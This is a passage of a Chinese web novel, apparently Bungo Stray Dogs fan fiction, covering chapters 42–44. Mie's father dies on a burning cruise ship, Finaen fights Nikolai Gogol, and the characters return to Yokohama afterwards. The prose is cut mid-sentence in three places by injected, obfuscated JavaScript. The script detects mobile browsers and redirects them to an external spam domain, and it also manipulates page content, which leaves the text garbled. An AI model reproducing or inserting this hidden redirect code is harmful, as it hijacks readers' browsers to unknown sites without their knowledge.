美惠脸色惨白,却挡在了山本浩介和菲那恩之间,眼泪流了下来:“父亲……收手吧……求求您了……” “叛徒!你这个叛徒!”山本浩介气得浑身发抖,猛地伸手想要推开女儿去按书桌上的警报器。 就在这一刻,异变陡生! 轰——!!! 剧烈的爆炸声猛地从船体下方传来!整艘游轮疯狂摇晃!绝不是太宰他们制造的混乱那种级别! 紧接着是第二声,第三声,爆炸接连不断,火光瞬间映红了舷窗外的夜空。 “怎么回事?!”山本浩介惊骇莫名。 菲那恩耳麦信号中断,随即瞬间反应过来,看向山本浩介:“你还在船上装了炸药?!” 这超出了他们的情报范围。 “不……不是我……”山本浩介下意识地否认,但眼中却闪过一丝极度惊恐和了然,仿佛想到了什么极其可怕的可能性,“是……一定是‘老鼠’……他们知道事情败露,要灭口……” 他猛地看向美惠,眼中的愤怒瞬间被无边的恐惧取代:“美惠!快走!” 天花板开始坍塌,吊灯砸落下来,碎片四溅,火势沿着华贵的地毯和木质装饰疯狂蔓延。 一块燃烧的巨大装饰构件带着骇人的声势,朝着愣在原地的美惠当头砸下。 “美惠!!”山本浩介发出了撕心裂肺的嘶吼,几乎是不假思索地,他用尽全力猛地将女儿推开。 “父亲——!!!” 美惠的尖叫声被震耳欲聋的轰鸣淹没。 沉重的、燃烧的构件重重砸在了山本浩介身上!鲜血瞬间从他口中喷涌而出! “不……不!!!”美惠连滚带爬地扑过去,徒劳地想要搬开那沉重的、燃烧的物体,双手瞬间被灼伤,发出焦糊的气味。 山本浩介被压在下面,口鼻溢血,却努力地睁大眼睛,看着女儿,眼神里充满了前所未有的清明。 “走……美惠……快……走……”他每说一个字,就有更多的血涌出来,“对不起……爸爸……对不起……” 他艰难地转动眼球,看向站在一片火海与混乱中的菲那恩,用尽最后一丝力气,嘶哑地哀求:“带她……走……求求你……” 菲那恩血红的眼眸映照着冲天的火光,看着眼前这如同地狱般惨烈的一幕,看着那个罪孽深重的男人在生命的最后时刻,只迸发出最原始纯粹的父爱。 他上前一步,一把拉住几乎崩溃的美惠。 “放开我!父亲!父亲!”美惠疯狂地挣扎哭喊着,指甲在菲那恩的手臂上划出血痕,却无法挣脱那非人的力量。 就在这一刻,菲那恩的脑海中突然闪过一个破碎的画面—— 年幼的他被某个人死死抱住,哭喊着想要冲过去,却只能眼睁睁看着母亲的身影被火焰吞噬…… 那种绝望,那种撕心裂肺却无能为力的痛苦,跨越数百年的时光,狠狠撞中了菲那恩的心脏。 他拉着美惠的手,几不可察地颤抖了一下。 42.尼古莱·果戈里 下一秒,他做出了一个连自己都未曾预料的决定。 他松开了钳制着美惠的手。 几乎在同一时刻,他的指尖萦绕逐渐凝实的血色光芒。 那光芒迅速扩散,形成一个半透明的、流转着奇异符文的光罩,暂时将疯狂砸落的燃烧物和不断坍塌的结构隔绝在外,堪堪护住了他们所在的那一小片区域。 “你……”美惠愣住了,泪眼婆娑地看向菲那恩。 菲那恩表情依旧平静,声音却似乎多了一丝难以察觉的沙哑,“好好跟父亲告别吧,至少……不留遗憾。” 他不知道自己为什么会这么做,只是默默选择为他们父女挡住了外界所有的危险与窥视。 屏障内,美惠扑到父亲身边,颤抖的手徒劳地擦拭着父亲口中不断涌出的鲜血。 “父亲……对不起……”她泣不成声,“我……” 山本浩介被压在沉重的构件下,呼吸已经极其困难,每一下吸气都带着血沫的声音。 他看着女儿,浑浊的眼睛里充满了无尽的悔恨与不舍。 “美惠……别道歉……”他用尽全部力气,抬起一只染血的手,想要最后触摸一下女儿的脸颊,“是爸爸…错了……真的…错了……” 美惠抓住父亲冰冷的手,贴在自己泪湿的脸上,用力摇头。 “好好…活下去……”山本浩介的目光开始涣散,他努力聚焦,看向女儿身后的菲那恩,用气声吐出最后的请求,“谢…谢……” 那只手无力地垂落。 山本浩介的眼睛缓缓闭上,嘴角却似乎带着一丝解脱的弧度。 “父亲……?父亲!不——!!!”美惠发出心碎欲裂的哀鸣,紧紧抱住父亲尚且温热的手臂,哭得浑身抽搐。 菲那恩闭着眼睛,长长的睫毛在火光投下的阴影中微微颤动,尖耳朵捕捉到少女绝望的哭泣,和他记忆中某个遥远时空里,自己同样无助的哭喊隐隐重叠。 他是沉默的守护者,为这场最后的告别,留出了最后一点残忍的温柔。 时间一分一秒地过去,火势越来越大,屏障上的光芒也开始微微闪烁,变得不稳定。 美惠依旧抱着父亲,哭声已经变得嘶哑而微弱,整个人仿佛被抽空了灵魂。 “该走了。”菲那恩的声音打破了这悲伤的凝滞。 美惠缓缓抬起头,那双曾经清澈明亮的眼睛,此刻只剩下一片空洞的死寂。 她看了看菲那恩,又看了看怀中已然失去呼吸的父亲,最终,极其缓慢地、轻轻地将父亲放平在地。 她脱下自己已经被烧焦部分、沾染了血污的昂贵礼裙外套,仔细地盖在了父亲脸上。 然后,她摇摇晃晃地站起身,走到菲那恩面前。 屏障的光芒越来越弱,周围火焰的热浪再次扑面而来。 菲那恩向美惠伸出手。 美惠看着他的手,沉默了几秒,然后缓缓将自己的手放了上去。 她的手冰冷,还在微微颤抖。 菲那恩解除了屏障,灼热的空气瞬间涌入。 他握紧她的手,另一只手紧紧抓着装有证据的防水袋,毫不犹豫地冲向密道入口。 火舌在他们身后疯狂追逐,吞噬着一切奢华的装饰和不堪的罪证。 就在他们即将冲入密道的刹那,美惠最后回头望了一眼。 火光中,父亲被覆盖的身影静静躺在那里,仿佛只是睡着了。 她咬紧嘴唇,转回头,眼中最后一丝软弱被彻底焚尽,只剩下冰冷的、如同死灰般的平静。 菲那恩拉着她,在剧烈摇晃、不断爆炸崩塌的游轮中敏捷地穿梭,避开坠落物,朝着预定的撤离点奔去。 终于,他们冲出了燃烧的船舱,来到了相对安全的甲板边缘。 中原中也的快艇正在下方焦急等待。 “跳!”菲那恩简短地命令道。 美惠闭上眼睛,纵身跳下,被中也在快艇上稳稳接住。 菲那恩最后望了一眼那燃烧的书房,转身欲紧随其后跃下。 然而,就在他身形将动未动的刹那—— “哎呀呀~舞会才刚刚开始,主角怎么能提前退场呢?这太失礼了!” 一个极其欢快、却与周遭地狱景象格格不入的声音,如同直接在菲那恩的脑海中响起,又仿佛来自四面八方。 菲那恩的血瞳骤然收缩,身体凭借着多年的战斗本能向后急撤。 嗤啦——! 他原本站立位置的空间,如同被一双无形巨手粗暴地撕开一道巨大的、不规则的裂口,裂口内部是光怪陆离、无法理解的色彩乱流。 一个披着白色外套、头戴小丑高帽的身影,如同没有重量般,从那空间裂缝中轻盈地“飘”了出来,恰好落在菲那恩与船舷之间,挡住了他的去路。 尼古莱·果戈里脸上挂着夸张到近乎诡异的笑容,对着菲那恩行了一个浮夸的鞠躬礼。 “晚上好,我亲爱的粉色头发的小姐……或者先生?”果戈里歪着头,紫红色的眼眸中闪烁着纯粹如孩童却又疯狂如深渊的光芒,“您刚才守护告别的姿态,真是……太美了!美得让我忍不住想请您再多跳一支舞呢!” “是你引发的爆炸?”菲那恩皱眉,脸上露出一丝不耐与警惕,周身的气息瞬间改变,所有伪装的柔弱悉数褪去,只剩下冰冷的、非人的质感。 他想起山本浩介口中的称呼,赤红的眼眸中,竖瞳微微显现,“你是‘老鼠’?” “「小丑」!我是自由的小丑尼古莱·果戈里!”果戈里欢快地旋转了一圈,白色外套下摆划出圆弧,“至于爆炸?那不过是让这场派对更热闹一点的烟花而已!喜欢吗?” 他手腕一翻,一柄造型奇特、闪烁着不祥苍白光泽的短匕出现在他指间。 “费奥多尔对你非常、非常感兴趣哦。”果戈里嘻嘻笑着,用那苍白匕首的刀尖轻轻点着自己的下巴,“所以,能请您……稍微留下来,陪我玩一会儿吗?就一会儿~” 在看到那柄苍白匕首的瞬间,菲那恩的血瞳猛地收缩到了极致。 “狄克拉之银……?!”他的声音里带着难以置信的惊骇。 怎么会出现在这里?!它……不是已经在那场爆炸中毁掉了吗? 等等,照这样说,眼前这个「小丑」及其他口中的费奥多尔……就是买他情报的人吧? 菲那恩手指紧握成拳,脸上的表情彻底冷了下来。 “太好了!你还认识它!”果戈里脸上的笑容更加灿烂了,仿佛发现了什么绝妙的惊喜,“看来费佳猜得没错,你果然‘特别’!太棒了!” 话音未落,果戈里的身影毫无征兆地原地消失。 下一秒,菲那恩感到脖颈侧后方传来致命的寒意。 果戈里如同鬼魅般从他身后的空气中“钻”了出来,那柄散发着令血族作呕气息的狄克拉银匕,带着欢快的破空 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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[血蚀之触] 嗤——! 五道凝练的、沸腾的暗红色血能如同利爪般从他指尖迸发,撕裂空气,迎向那柄致命的匕首。 血能与狄克拉银匕接触的瞬间,竟发出如同冷水滴入热油般的剧烈“滋滋”声。 那无往不利、足以侵蚀异能和钢铁的血色能量,竟被那苍白的匕首轻易地抵消、净化了大半,残余的力量只是让果戈里的动作微微一顿。 “哇哦!”果戈里惊叹了一声,眼中的兴味浓烈到几乎燃烧,“连‘外套’都能侵蚀的力量,居然被克制了![狄克拉之银]果然是为你准备的惊喜礼物!” 利用这微小的间隙,菲那恩狼狈地翻滚避开,脖颈处传来一阵火辣辣的痛感,虽然没有被直接划中,但狄克拉之银的气息已然灼伤了他的皮肤。 他刚稳住身形,果戈里的攻击又至。 这一次,果戈里仿佛同时存在于三个方向。 左侧的果戈里掷出三把飞刀,封住他躲闪的路线。 右侧的果戈里张开双臂,仿佛要拥抱他,但其周身空间开始扭曲,产生强大的吸力。 而正前方的果戈里,则手持狄克拉银匕,如同跳着死亡的华尔兹,直刺他的心口! 恐怖的空间操纵异能,这才是“外套”真正的可怕之处。 菲那恩血瞳中厉色一闪,他猛地一跺脚。 [荆棘园] 以他为中心,无数由粘稠、沸腾的暗红血液构成的尖锐荆棘猛然从甲板上爆发出来,疯狂地刺向四面八方。 这些血荆棘不仅带有强烈的腐蚀性,更在一定程度上干扰了空间的稳定。 噗噗噗! 左侧飞来的刀被血色荆棘轻易搅碎吞噬。 右侧的空间吸力被疯狂生长的荆棘强行撑开、扰乱。 而正面手持银匕的果戈里,则轻巧地几个后空翻,避开了荆棘最密集的穿刺,但他脸上的笑容收敛了些,显然这种大范围的无差别攻击让他也觉得有点麻烦。 “真是……热情洋溢的舞蹈呢!”果戈里站稳身形,语气依旧欢快,但攻击却愈发诡异。 他不再试图近身,而是开始疯狂地利用“外套”的空间能力。 菲那恩周围的空气如同变成了果戈里的玩具。 甲板突然在他脚下裂开一个通往火海的空间口子。 头顶突然掉落下半截燃烧的桅杆。 他刚躲开桅杆,侧面又毫无征兆地刺出一柄狄克拉之银。 菲那恩将血族的速度和感知发挥到极致,同时不断施展各种消耗巨大的血族秘术,或防御、或攻击、或干扰空间,才在这诡异的攻击下支撑下来。 但狄克拉之银的存在,像一把悬顶之剑,让他束手束脚,每一次感知到那匕首的气息都让他本能地战栗退缩。 轰隆!!! 游轮底部再次发生了一次更剧烈的爆炸,整艘船发出令人牙酸的断裂声,开始加速倾斜下沉。 巨大的震动和冲击力让果戈里的空间操控出现了一瞬间的不稳定。 菲那恩抓住这稍纵即逝的机会。 他猛地冲向船舷,作势要跳海。 “哎呀,别想逃哦~”果戈里的声音从他上方响起,[狄克拉之银]泛着苍白的光,如同毒蛇般刺向他的后心。 43.生日快乐 然而,这只是菲那恩的虚招。 在匕首及体的前一刻,他身体以一种不可思议的角度扭转,整个人几乎是贴着匕首的锋芒滑开。 同时,他的指尖凝聚着高度压缩的、几乎化为黑色的血能,不是攻向果戈里,而是狠狠刺向果戈里握着匕首的那只手腕。 他宁愿硬抗空间切割,也绝不想再被狄克拉之银击中。 果戈里似乎没料到对方如此莽撞,紫红色的眼眸中闪过一丝真正的惊讶。 为了避开那足以废掉他手的凌厉一击,他不得不再次动用“外套”,手腕处的空间微微扭曲,让菲那恩的指尖险之又险地擦着他的皮肤划过,带起一小串血珠。 而果戈里也借着空间移动,再次与菲那恩拉开了距离。 两人站在急剧倾斜的甲板上,中间隔着燃烧的杂物,短暂地对峙着。 “啊啊~失败了失败了~”果戈里甩了甩手腕,脸上夸张的笑容重新浮现,但眼神却深邃了不少,“漂亮的舞伴不仅力气大,竟然意外地狡猾呢……费奥多尔一定会非常喜欢这份‘观测报告’的。” 他歪着头,看着下方越涨越高的海水,以及远处似乎察觉不对正在试图靠近的、中原中也的快艇。 “看来今晚的共舞只能到此为止了。”果戈里故作遗憾地叹了口气,然后对着菲那恩又是一个滑稽的鞠躬,“期待与您的下次相会,希望下一次,我能够成功将狄克拉之银刺进您的心脏哦,到那时你会有什么精彩的反应呢,神秘的吸血鬼先生~” 说完,他用自己的披风将自己裹住,下一秒便消失不见。 连同那柄让菲那恩心悸不已的狄克拉银匕,也一起消失了。 菲那恩站在濒临沉没的游轮边缘,剧烈地喘息着,脸色比平时更加苍白。 狄克拉之银……还有这个拥有空间异能的疯子…… 好险…… 他不再犹豫,纵身跃入冰冷的海水之中。 海面下,菲那恩迅速上浮,朝着快艇的方向游去。 他苍白的脸上溅了些水珠,身上没有伤,只是呼吸比平时略微急促一些。 “啧,怎么这么慢!”中也一边抱怨,一边还是伸手将他拉了上来,“我还以为你那边有麻烦,准备上去接应你的。” “抱歉,让你担心了,”菲那恩坐上船,接过部下递来的毛巾,擦拭着脸上的海水,“遇到一个难缠的……疯子?小丑?” “……哈?”中原中也一脸疑惑,“什么疯子?什么小丑?” “不过应该以后还会再见面的。”他自顾自地说着,血红的眼眸望向远处那艘即将沉没的巨轮。 他没有多解释,不过只需要知道对方是买他情报的人就足够了,见一次揍一次。 而且今天是他赢了。 快艇迅速发动,驶离这片已经成为火海炼狱的区域。 山本美惠瘫坐在快艇上,抱着膝盖,浑身湿透,失神地望着远处那艘正在缓缓下沉的豪华游轮。 “我没有家人了,也没有家了。”火光映在她苍白的脸上,明明灭灭。 菲那恩站在她身边,沉默地看着她。 许久,海风吹散了一些灼热的气息,带来了冰冷的咸味。 菲那恩转过头,看向美惠,血红的眼眸在夜色中显得格外深邃。 他的声音很轻,几乎融在海风里,却清晰地传入美惠耳中: “——生日快乐,美惠小姐。” 这句话,与此刻的灾难和悲伤形成了巨大的反差,却又奇异地带着一种告别过去的仪式感。 美惠的身体猛地一颤,缓缓抬起头,空洞的眼睛里终于泛起一丝波澜。 她看着菲那恩,嘴唇翕动,最终却什么也没说,只是将脸深深埋入膝盖中,肩膀再次剧烈地抖动起来。 这一次,不再是声嘶力竭的哭喊,而是无声的、压抑到极致的悲恸。 菲那恩没有再说话,只是静静地将一件干燥的外套披在她颤抖的肩上。 快艇划破黑色的海浪,驶向横滨灯火阑珊的港口。 身后,是燃烧的过去。 前方,是未知的、却必须继续的未来。 而一句生日祝福,成为了这个血腥夜晚里,最后一点近乎残酷的温柔。 快艇靠岸,几辆港口Mafia的黑色车辆早已在码头阴影处等候。 潮湿冰冷的夜风裹挟着海水的咸腥气息,与远处那艘仍在燃烧的游轮传来的微弱焦糊味混杂在一起。 横滨的夜色一如既往地深邃,码头上零星亮着几盏路灯,将人影拉得细长。 菲那恩率先跃上岸,双马尾随着动作晃了晃,手中的防水袋沉甸甸的,里面装着一个商业帝国的覆灭和一个少女世界的崩塌。 他转身,向快艇上的美惠伸出手。 美惠迟疑了一下,才将冰冷颤抖的手放入他掌心。 她的指尖还沾着些许干涸的血迹和烟灰。 借着他的力道,她踏上码头,身上只穿着单薄的、被海水打湿的衬裙,菲那恩之前披在她肩上的外套滑落了些许,露出下面被灼伤的红痕。 她下意识地抱紧双臂,不是因为寒冷,更像是一种自我保护的下意识动作。 中原中也压低帽檐,啧了一声,似乎对多出来的“麻烦”感到不悦,但他没说什么,只是示意手下将快艇处理好,便走向停在不远处的黑色轿车。 “走吧。”菲那恩的声音不高,引着美惠跟上。 然后,他看到了太宰治。 那人懒散地倚在另一辆黑色轿车的车门边,身上披着他那件黑色的大衣,似乎已经来了有一会儿。 鸢色的眼眸在昏暗的码头灯光下显得深不见底,正静静地望着他,脸上没什么表情,既没有往常那种浮于表面的笑意,也没有任务完成后的松懈。 四目相对。 空气仿佛凝滞了几秒,只有远处海浪拍打岸堤的声音和部下们压抑的脚步声。 太宰治的视线极快地从上到下扫过菲那恩,从他略显凌乱的粉色双马尾,到沾染了污渍的裙装,再到划破的白丝袜。 最后,定格在他手中那个决定了许多人命运的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16524474|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 密封袋上。 他脸上没有令人捉摸不透的轻佻笑容,也没有任务完成后的松弛,只是一种近乎漠然的平静。 他的目光最后才吝啬地、轻飘飘地掠过菲那恩身后那个失魂落魄的少女,如同扫过一件无关紧要的物品。 ——太宰不高兴。 菲那恩几乎是瞬间就精准地捕捉到了这份无声却极具存在感的情绪。 或者说,太宰治根本未曾费力掩饰。 他几乎是下意识地,侧身对美惠低声说:“美惠小姐,你上那辆车。” 他指了指中原中也刚刚进入的轿车,“中也会确保你的安全。” 他试图将她暂时隔离开这片突然变得粘稠而危险的空气。 美惠也看到了那个倚在车边的、周身散发着危险气息的黑发青年,身体几不可察地颤抖了一下,下意识地点头。 然而,就在菲那恩准备走向太宰治的瞬间,他突然感觉到自己的衣角被极轻的力道拉扯了一下。 他微微一惊,转过头。 对上的是美惠那双泛着红、盈满未干泪痕和惊惧未消的眼睛,那眼神复杂极了,混杂着感激,以及无边无际的茫然。 下一秒,在菲那恩还没反应过来之前,美惠忽然上前一步,伸出双臂,极其短暂地、轻轻地拥抱了他一下。 这是一个充满了劫后余生的颤抖、以及无尽谢意的拥抱,冰冷而潮湿。 “……谢谢你,菲娜。”她的声音细若蚊蚋,几乎破碎在风里,带着无法抑制的哽咽。 菲那恩的身体瞬间僵住,血红的眼眸里闪过一丝清晰的愕然和无措。 他几乎是条件反射地、有些生硬地轻轻推开了她。 直到这时,他才猛地意识到问题所在——自己此刻,依然是“菲娜”的装扮。 他沉默了一下,抬手,动作利落地解开了那精心编织却已凌乱的双马尾,粉色长发瞬间披散下来,被港口的夜风拂动,掠过他精致的脸颊。 他看着眼前怔住的美惠,用那双非人的赤瞳直视着她,声音变回正常音色: “抱歉……我忘了说,我并不是女孩子,名字也不是菲娜。” 他稍作停顿,清晰地吐出自己的名字: “我的名字是菲那恩。” 海风在这一刻似乎也停滞了。 美惠脸上的表情瞬间凝固,所有的悲伤和感激都像是被按下了暂停键。 她的眼睛难以置信地睁大,瞳孔因为过度的震惊而微微收缩,倒映着眼前这个长发披散的“少女”宣布自己真实性别的身影。 “……诶?”一个单音节的、充满了极致困惑和茫然的疑问词,干涩地从她喉咙里挤了出来。 她的大脑仿佛被这突如其来的信息彻底冲刷,一片空白,完全无法处理眼前这超乎理解的一幕。 而菲那恩只是静静地看着她,等待着她消化这个事实,脸上依旧是一片近乎天然的平静。 远处,倚在车边的太宰治将这一切尽收眼底,鸢色的眼眸深处,掠过一丝极其细微的、难以捉摸的暗光。 44.我会重振山本集团 “太宰……”菲那恩走过去,一点一点地靠近太宰,声音有些干涩。 太宰治没有立刻去接证据袋。 他的目光从袋子缓缓移回到菲那恩的脸上,仿佛在仔细审视着什么。 片刻后,他才伸出手,接过了那份沉甸甸的、沾染着血腥的“战利品”,随手递给极有眼力见的下属。 又是一阵沉默之后,码头上终于只剩下菲那恩和太宰治两人。 “辛苦了,菲那恩。”太宰治终于开口,声音是那种听不出情绪的平淡,但似乎比平时更低一些。 他的目光再次落在菲那恩的裙装上,眉头几不可察地蹙了一下,忽然抬手,解下了自己身上的黑色大衣。 “披上。”他言简意赅地说,将还带着体温的风衣递过去。 菲那恩愣了一下,低头看了看自己这身过于显眼且破损的装扮,确实与周围环境极度不符。 他没有拒绝,接过大了一号的风衣,披在身上,宽大的风衣立刻将他整个人裹住,下摆几乎垂到脚踝,带着太宰治身上特有的、淡淡的绷带气息,瞬间隔绝了夜风的寒意。 太宰治没有看那辆远去的车,他的目光始终落在菲那恩身上。 那种专注的、几乎要将他看透的视线,让菲那恩感到一丝莫名的不自在,下意识地想要移开目光。 “你救了山本美惠。”太宰治忽然开口,不是疑问,而是陈述,“回来的时间比预计时间长不少,那么长时间……消耗不小吧?” 菲那恩微微一怔,沉默几秒,眼神躲闪,回答道:“……还好,我没事。” 随后菲那恩一五一十地讲了山本浩介的死亡过程。 “……为什么?”太宰治向前逼近一步,距离瞬间缩短,他身上淡淡的绷带药水气息混杂着海风的咸味,将菲那恩笼罩,“山本浩介的死活,甚至那个大小姐的死活,原本都不在计划之内,更不值得你动用可能会暴露身份的能力去冒险。” 他的声音依旧不高,却带着一种针尖般的锐利,步步紧逼,“你擅自对山本美惠摊牌……你知道那有多冒险吗?如果她选择尖叫着揭发你,而不是帮助你,你会立刻陷入孤立无援的境地!” 菲那恩被太宰说得一阵心虚。 他一步步后退,直到后背抵到冰冷的墙面,退无可退。 不,这不对……总之他完成了任务,只是多了山本美惠这个意料之外的变数而已。 他突然感到一阵难以抑制的委屈,垂着眼嘟哝道:“不管怎么说,我很好地完成了任务,太宰你为什么凶我……我不明白。” 太宰治一哽,抬手捂住上半张脸,深吸了几口气,解释道:“我没有在凶你,我只是……”他的话语戛然而止,几秒后才故作轻飘飘地落下一句话:“只是中也担心你到都快哭鼻子了,我实在烦得不行。” 空气仿佛又凝滞了几分。 菲那恩终于忍不住抬头看着太宰治,猝不及防就对上太宰治那双在黑暗中显得格外幽深的鸢色眼眸。 他在那里面却并没有看到责备,反而看到了一种……复杂的探究,甚至是一丝极淡的焦躁。 菲那恩心底那点不快顿时烟消云散,只能听见自己逐渐加快的心脏吵闹的声音。 他下意识地移开视线,却在下一秒被太宰治捏着下巴掰了回来,力道不重,但不容置疑。 这下不得不和那双鸢色眸子继续对视了。 菲那恩披着带有太宰体温的大衣,背靠着冰冷粗糙的墙面,被困在这一小方天地里。 二人距离极近,仿佛下一秒就要亲上去一般。 他仰头看着太宰治近在咫尺的脸,那双血红的眼眸里带上了一丝的困惑,小声反驳:“中也没有哭鼻子……” 太宰治几乎要被他气笑了。 是啊,中也没有哭鼻子,真正快要失控的是他自己。 在耳麦里听到菲那恩直接对山本美惠摊牌时,他捏着通讯器的手指关节因为用力而泛白。 当爆炸声接连响起,通讯彻底中断,只能远远看到游轮陷入火海时,他感觉自己心脏的某一部分也跟着悬空了,一种冰冷的陌生情绪悄然攫住了他。 即使知道菲那恩拥有着[不死],但他仍然会下意识地担心对方。 每一秒都漫长得如同煎熬。 他计算着所有可能性,推演着最坏的结局,却发现当对象是菲那恩时,那些冷冰冰的概率和算计都失去了意义。 他讨厌这种失控的感觉,讨厌这种被无形绳索牵引着情绪波动的软弱。 而最后,当他看到那个山本美惠,那个被菲那恩冒着风险救下的“多余”的存在,竟然伸手拥抱了菲那恩时—— 那一刻,某种阴暗的情绪却悄悄地、几乎要冲破他惯常的伪装。 是啊,为什么菲那恩要救下那个女孩?是因为很喜欢她吗?甚至还让她抱了他一下…… 太宰治蹙眉看了一眼山本美惠。 他在想可不可以折断那只手。 他在想将那个沾染了他所有物的气息的拥抱彻底抹去。 或许干脆可以将菲那恩牢牢锁起来?像真的“宠物”一样,被他圈养,藏在只有他看得到的地方,隔绝一切外界的觊觎和伤害,这未尝不可。 这些疯狂而危险的念头只是在他脑中盘旋了一瞬便消失了。 首先,他从来没有将菲那恩看做没有人权的宠物,其次……囚·禁菲那恩什么的其实很无趣,也很……愚蠢。 他向来不是那种嫉妒红宝石太漂亮就意欲让其蒙尘的疯子。 相比之下,他或许会更喜欢欣赏红宝石各个角度、各个场景下的模样? 他自认为自己姑且还算是个正常三好青年。 嗯……反正,比芥川三好青年就是。 他所有的担心、后怕、不悦,都他被自己亲手掩埋在了更深的地方,最终化作了此刻近乎凝固的平静。 “是吗?那可能是我看错了。”太宰治顺着菲那恩的话,语气重新带上了那点惯有的懒洋洋调子,仿佛真的只是随口一提。 他终于向后退了半步,拉开了那令人窒息的近距离,“现在,可以告诉我救下山本美惠的原因了吗? 菲那恩悄悄松了口气,陷入了思索,太宰治耐心地等待着。 “因为她扑过去了……”菲那恩终于在思索之后说出了原因,声音低低的,眼中却泛着不小的波动,“就像……当年我想扑向我母亲那样,不同的是,我当年没能和母亲……好好道别。” “所以这一次,我放开了手,并且……给了她足够的时间。” 这句话说完,码头上陷入了更长久的沉默。 太宰治闻言一怔,定定地看着对方,仿佛第一次真正认识眼前这个非人少年。 他并不知道菲那恩有过这样的经历,以至于所有准备好的说教,忽然间都卡在了喉咙里,变得苍白无力。 他忽然明白了菲那恩某些时候的不同寻常从何而来。 良久,太宰治忽然轻轻地、几乎是无声地叹了口气。 他再次伸出手,不是像往常那样揉乱菲那恩的头发,而是用指尖,极其轻柔地拂开菲那恩颊边被海风吹乱的一缕粉色发丝,动作十分小心。 他低声说,语气里听不出是责备还是别的什么,“下次别做这种危险的事了……嗯,中也下次哭不哭鼻子可真说不准,说不定喝醉后会哇哇大哭呢。” 他的指尖带着夜风的微凉,触碰却短暂得如同错觉。 说完,他仿佛又变回了那个懒散的太宰治,双手插回西装裤袋里,转身朝着码头的另一辆车的放向走去,语气也恢复了往常的调子,却莫名显得比平时低沉些许: “走了,回去向森先生复命,至于你擅自行动的部分……我会帮你圆过去的。” “我就知道太宰对我最好了。”菲那恩的身体终于放松下来,乖乖跟上去。 太宰治不轻不重地弹了一下菲那恩的额头,“谁叫森先生选择我当你的‘监护人’呢。” 是的,都是森先生的错。 菲那恩吃痛捂住脑门,忽然问道:“太宰……那她之后会怎么样?” 太宰治自然知道他问的是谁。 “森先生会‘妥善’安置。”他回答得模棱两可,语气里带着一丝港口Mafia高层干部特有的、对棋子命运的冷漠,“至少,她活着,这已经是很多人不想看到的结局了。” 菲那恩沉默了片刻,似乎接受了这个答案,又似乎只是不再追问。 之后回去的路上,菲那恩又简单说了一遍在游轮上发生的那一场战斗。 太宰治微微皱眉,轻轻喃喃道:“「小丑」尼古莱·果戈里,[狄克拉之银],费奥多尔……” “他很危险,异能非常不好对付,行事作风也不像正常人类,而且话有点多……嗯,表情也有点浮夸。”菲那恩说到后面语气都带上了一丝吐槽意味。 数日后,港口Mafia首领办公室。 森鸥外翻阅着由太宰治呈上的、从海明珠号废墟中艰难保全下来的证据副本,紫红色的眼眸中流转着满意而冰冷的光彩。 “做得非常漂亮,太宰君,菲那恩君,中也君。”他合上文件,指尖优雅地交叠在下颌前,“这些证据比我们预期的还要完整,山本浩介已死,群龙无首,加上这些铁证……足以将这条盘踞横滨的毒蛇连根拔起。” 他按下内部通讯器:“通知所有干部,一小时后会议室集合,是时候让我们的‘朋友们’知道,谁才是横滨黑夜真正的主人了。” 一场针对山本集团残余势力和其走私网络的雷霆清洗,在森鸥外的命令下迅速展开。 港口Mafia这台高效的暴力机器全力运转,利用手中的证据和情报,精准地打击着每一个关键节点,逮捕、吞并、毁灭……横滨的地下世界再次经历了一场血腥的权力更迭。 正如太宰治曾预言的,山本浩介死了,但很快就会有下一个“山本浩介”试图填补权力真空。 然而,这一次,港口Mafia没有再给任何人机会。 他们利用这次事件,不仅彻底铲除了这条罪恶的走私链,更是借此极大地扩张了自己的势力范围和影响力,将整个走私网络的核心环节牢牢掌控在自己手中,并按照港口Mafia的“秩序”进行了重 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16529540|183387||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 塑。 一周后,在一间由尾崎红叶安排的、隐蔽而安全的公寓内。 山本美惠穿着简单的素色衣裙,脸上已没有了往日的娇纵,只剩下一种被悲痛洗练过的沉静与坚韧。 她面前的桌子上,摊开着报道山本集团倒塌、父亲罪行败露的报纸,巨大的标题触目惊心。 尾崎红叶优雅地呷了一口茶,紫水晶般的眼眸打量着眼前的少女:“集团核心资产已被冻结或查封,大部分非法生意被连根拔起。” “按照约定,港口Mafia不会动你名下那部分合法的、干净的信托基金和少数几处未被牵连的资产,这是你父亲……最后能留给你的东西。” 美惠的目光扫过报纸上父亲的照片,手指微微收紧,但声音却异常平稳:“我知道,谢谢您,红叶姐姐。” “接下来有什么打算?”尾崎红叶放下茶杯,“我们可以为你安排一个新的身份,足够你远离横滨,平静地度过余生。” 美惠沉默了片刻,然后缓缓地、坚定地摇了摇头。 她抬起头,那双曾经清澈天真、后又变得空洞绝望的蓝眼睛里,此刻燃起了一种截然不同的火焰——那是一种带着沉重伤痛的、却无比清晰的决心。 “不。”她说,“我不会离开横滨,也不会放弃山本这个姓氏。” 红叶微微挑眉。 “父亲……和他代表的罪恶,已经得到了应有的结局。”美惠的声音不高,却带着一种不容置疑的力量,“但山本集团,不仅仅只有那些肮脏的业务,它也曾合法地经营,也曾为数以千计的员工提供生计。” 她站起身,走到窗边,望着外面车水马龙的横滨。 